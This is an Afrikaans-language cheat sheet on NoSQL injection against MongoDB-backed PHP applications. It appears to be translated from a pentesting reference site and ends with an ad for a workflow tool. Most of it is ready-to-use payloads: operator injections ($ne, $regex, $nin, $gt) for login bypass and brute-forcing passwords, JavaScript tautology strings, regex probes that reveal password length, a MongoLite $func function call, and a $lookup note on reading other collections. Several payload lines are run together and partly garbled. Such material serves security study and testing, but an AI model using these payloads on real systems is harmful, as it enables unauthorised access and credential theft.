In PHP kan jy 'n Array stuur deur die gestuurde parameter van parameter=foo na parameter[arrName]=foo. te verander.
Die exploits is gebaseer op die toevoeging van 'n Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
'n Aanvaller kan dit benut deur stringe soos admin' || 'a'=='a in te voer, wat die navraag laat terugkeer na alle dokumente deur die voorwaarde met 'n tautologie ('a'=='a') te bevredig. Dit is analoog aan SQL-inspuitaanvalle waar invoere soos ' or 1=1-- - gebruik word om SQL-navrae te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word met invoere soos ' || 1==1//, ' || 1==1%00, of admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Trek lengte inligting uit
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Met die $func operator van die MongoLite biblioteek (wat standaard gebruik word) mag dit moontlik wees om 'n willekeurige funksie uit te voer soos in hierdie verslag.
"user":{"$func":"var_dump"}
Kry inligting van 'n verskillende versameling
Dit is moontlik om $lookup te gebruik om inligting van 'n verskillende versameling te kry. In die volgende voorbeeld lees ons van 'n verskillende versameling genaamd users en kry die resultate van al die inskrywings met 'n wagwoord wat 'n wildcard pas.
NOTE:$lookup en ander aggregatiefunksies is slegs beskikbaar as die aggregate() funksie gebruik is om die soektog uit te voer in plaas van die meer algemene find() of findOne() funksies.
Gebruik Trickest om maklik werkvloei te bou en te automate wat aangedryf word deur die wêreld se meest gevorderde gemeenskapstools.
Kry Toegang Vandag: